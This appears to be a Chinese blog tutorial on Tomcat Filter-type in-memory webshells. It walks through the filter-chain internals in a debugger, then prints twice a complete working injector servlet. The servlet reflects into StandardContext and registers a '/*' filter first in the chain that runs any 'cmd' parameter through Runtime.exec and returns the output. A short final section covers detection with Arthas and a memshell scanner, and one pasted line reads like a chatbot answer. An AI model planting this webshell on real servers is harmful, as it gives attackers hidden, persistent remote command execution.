Filter 在 Servlet 前后拦截请求与响应,可检查并修改 HttpServletRequest 和 HttpServletResponse 的头和数据。

启动时创建一次,之后反复重用同一个实例。
Filter 型内存马核心:动态注册恶意 Filter 并放到链最前面,使其在每次请求时最先执行恶意代码,形成无文件 Webshell。
流程分析
环境搭建:
Maven 3.6.3
Tomcat 8.5.81
pom.xml 里面加上 tomcat 的依赖库
1 2 3 4 5 6 7 8
| <dependencies> <!-- https: <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.81</version> <scope>provided</scope> </dependency></dependencies>
|
修改 web.xml 文件
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping></web-app>
|
自定义 Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.servlet.*; import java.io.IOException; public class filter implements Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }
|

开始断点,在 filter.java 下的 doFilter 这个地方打断点。并且访问 /filter 接口。
会进到 ApplicationFilterChain 类的 doFilter() 方法,它主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断。

f8 进去,直接走到了结尾,代码如下,跟进
1
| this.internalDoFilter(request, response);
|
到ApplicationFilterChain 类的 internalDoFilter() 方法,有两个 filter 的

0 是我们自己设定的 filter,1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter。
这个问题问得很好,说明你已经深入到 Tomcat 的内部机制了。你看到的第二个 Filter(pos=1,WsFilter)并不是你写的,而是 Tomcat 容器自身注册的 Filter。
为什么会有 Tomcat 自带的 Filter?
Tomcat 作为 Servlet 容器,为了提供一些基础功能和安全性,会在启动时自动注册若干个内置 Filter。最常见的有:
| 内置 Filter 名称 |
作用 |
WsFilter |
处理 WebSocket 升级请求(将 HTTP 升级为 WebSocket 协议) |
CorsFilter |
处理跨域请求(如果开启了 CORS 配置) |
ExpiresFilter |
控制缓存过期时间 |
CsrfPreventionFilter |
防止 CSRF 攻击(如果开启了安全配置) |
其中 WsFilter 是最常见的,几乎所有 Tomcat 版本都会默认注册它,用来拦截 WebSocket 握手请求。
继续往里走,这里就调用了 tomcat 的 filter 的 doFilter() 方法,跟进
1
| filter.doFilter(request, response, this);
|


再往下走,会走到 chain.doFilter() 这个地方,我们会发现这一个方法会回到 ApplicationFilterChain 类的 DoFilter() 方法里面

再往下走,会走到 chain.doFilter() 这个地方,我们会发现这一个方法会回到 ApplicationFilterChain 类的 DoFilter() 方法里面

这个地方实际需要理解一下,因为我们是一条 Filter 链,所以会一个个获取 Filter,直到最后一个。
那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次。

在最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response); 这个地方

Filter 链的本质是嵌套调用:每个 Filter 的 chain.doFilter()就是“跳到下一个 Filter 或 Servlet”的开关,不调用就卡在当前 Filter,后面的都不会执行。
在访问 /filter 之前的流程分析
所以为了找到动态注入 Filter 的方法,需要从 Filter 运行的那一刻开始,沿着调用栈往回查(一直查到最底层的反射调用),弄清楚 Tomcat 到底是在哪个环节把 Filter 对象创建出来的。
在 doFilter() 方法之前,一整个流程如图

此处我们选到最远处的一个 invoke() 方法,如图。

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。
这标志着请求正式进入了 Tomcat 的内部处理管道,随后它会继续流向 Host、Context,最终到达你的 Filter 和 Servlet。

接着是 AbstractAccessLogValve 类的 invoke() 方法,然后就是一步步调用 invoke() 方法

可以用这张图来表示这一整个过程。

至此,invoke() 部分的所有流程我们都分析完毕了,接着继续往上看,也就是 doFilter() 方法。这个 doFilter() 方法也是由最近的那个 invoke() 方法调用的。如图,我们把断点下过去。

重点关注 filterChain 这个变量

跟进 createFilterChain() 这个方法。使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递

在 createFilterChain() 方法走一下流程。这里就是判断 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。


遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的 在访问 /filter 之后的流程分析
第一步:创建 FilterChain
invoke()方法层层穿过管道(Engine → Host → Context → Wrapper)
- 在最后一个管道(Wrapper)中创建
FilterChain,并根据请求 URL 匹配出所有符合条件的 Filter
第二步:执行 FilterChain
- 调用
doFilter()→ 内部调用 internalDoFilter()→ 按顺序逐个调用每个 Filter 的 doFilter()
- 最后一个 Filter 的
doFilter()调用 chain.doFilter()时,触发 Servlet.service()
我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。
而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping></web-app>
|
总结:
Filter创建时机有两个:
启动时创建实例:Tomcat根据web.xml配置,创建Filter并调用init()方法
请求时组装链:当请求到达时,StandardWrapperValve会:创建空的ApplicationFilterChain 根据URL匹配,从已存在的filterConfigs中获取Filter 按顺序添加到链中执行链
核心类和方法:
StandardWrapperValve.invoke()- 启动创建Filter链的流程
ApplicationFilterFactory.createFilterChain()- 实际创建Filter链
StandardContext.filterConfigs- 存储所有Filter实例
StandardContext.filterMaps- 存储Filter的URL映射
调试时看到的前半部分(invoke链)是:请求在Tomcat各层容器间的路由过程
调试时看到的doFilter是:具体的Filter链执行过程
这两个过程是通过StandardWrapperValve连接起来的——它在找到目标Servlet后,先创建Filter链,然后调用链的doFilter方法。
“基于Filter实现内存马”,核心就是动态创建一个Filter并让它被Tomcat执行。
正常流程:web.xml配置 → 启动时创建 → 存储在filterConfigs
Filter 内存马核心:动态创建 Filter 并手动添加到 StandardContext 的 filterConfigs(存储实例)和 filterMaps(存储 URL 映射),使下次请求时容器自动将其加入 Filter 链执行。关键操作:获取 StandardContext → 创建恶意 Filter → 同时写入两个数据结构。连接点:StandardWrapperValve 负责创建链,ApplicationFilterFactory 负责匹配并组装。
Filter 型内存马攻击思路分析
通过 StandardContext动态操作三个关键成员变量,实现 Filter 的注入:
| 变量 |
类型 |
作用 |
filterMaps |
ContextFilterMaps |
存储 Filter 与 URL 的映射关系(决定哪些请求触发哪些 Filter) |
filterDefs |
HashMap<String, FilterDef> |
存储 Filter 的定义信息(名称、类名、实例等) |
filterConfigs |
HashMap<String, ApplicationFilterConfig> |
存储 Filter 的运行时配置(包含 Filter 实例及注册信息) |
注入方法:
addFilterMap(FilterMap):添加 URL 映射(追加到末尾)
addFilterMapBefore(FilterMap):添加 URL 映射(插入到最前面,更适合内存马)
这样下次请求匹配 URL 时,恶意 Filter 会被优先执行。
步骤:
- 获取
StandardContext对象
- 创建恶意 Filter 实例
- 构造
FilterDef并放入 filterDefs
- 构造
ApplicationFilterConfig并放入 filterConfigs
- 调用
addFilterMapBefore将恶意 Filter 的 URL 映射添加到 filterMaps最前面
Filter 型内存马的实现
不能直接调用request.getServletContext(),直接调用 request.getServletContext()就能拿到 StandardContext,那任何 Servlet 或 Filter 都能随意修改容器的内部数据结构(比如添加 Filter、修改映射),这会带来严重的安全风险。
所以 Tomcat 的设计者在 ServletContext接口的实现上做了一层封装:
1 2 3 4 5
| 真实对象:StandardContext(Tomcat 内部核心,负责管理 Filter、Servlet 等) ↑ 封装一层 ApplicationContext(实现了 ServletContext 接口,但暴露的都是安全的方法) ↑ 再套一层门面 ApplicationContextFacade(对外暴露的门面类,用户通过 request.getServletContext() 拿到的是这个)
|
用户拿到的 ServletContext对象,实际上是 ApplicationContextFacade,它把所有危险的操作都屏蔽了,只暴露规范允许的安全方法(如 getAttribute、getRealPath等)。
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
接着,定义一个 Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };
|
再设置 FilterDef 和 FilterMaps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef) declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
|
最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面
1 2 3 4 5 6
| Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success");
|
完整的 EXP 如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner; @WebServlet("/demoServlet") public class FilterShell extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(FilterName) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o); Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1); Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success"); } } catch (Exception e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } }
|
.jsp格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner; @WebServlet("/demoServlet") public class FilterShell extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(FilterName) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o); Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1); Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success"); } } catch (Exception e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } }
|

内存马排查
arthas
项目链接:https://github.com/alibaba/arthas
arthas-boot.jar是 阿里巴巴开源Java诊断工具Arthas的启动器,核心作用是让你能在不重启应用的情况下,对线上Java服务进行实时监控、问题诊断和性能分析
Arthas中执行:
bashjad com.example.demo.FilterShell$1

同时也可以进行监控,当我们访问 url 就会输出监控结果
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain ‘returnObj.filters.{?#this!=null}.{filterClass}’
dashboard
像汽车仪表盘一样,实时查看整个JVM的状况:CPU、内存、线程堆栈等信息。
jvm, sysprop
快速获取JVM的系统属性、环境变量、垃圾回收器等关键配置信息
利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类

java-memshell-scanner
项目链接:https://github.com/c0ny1/java-memshell-scanner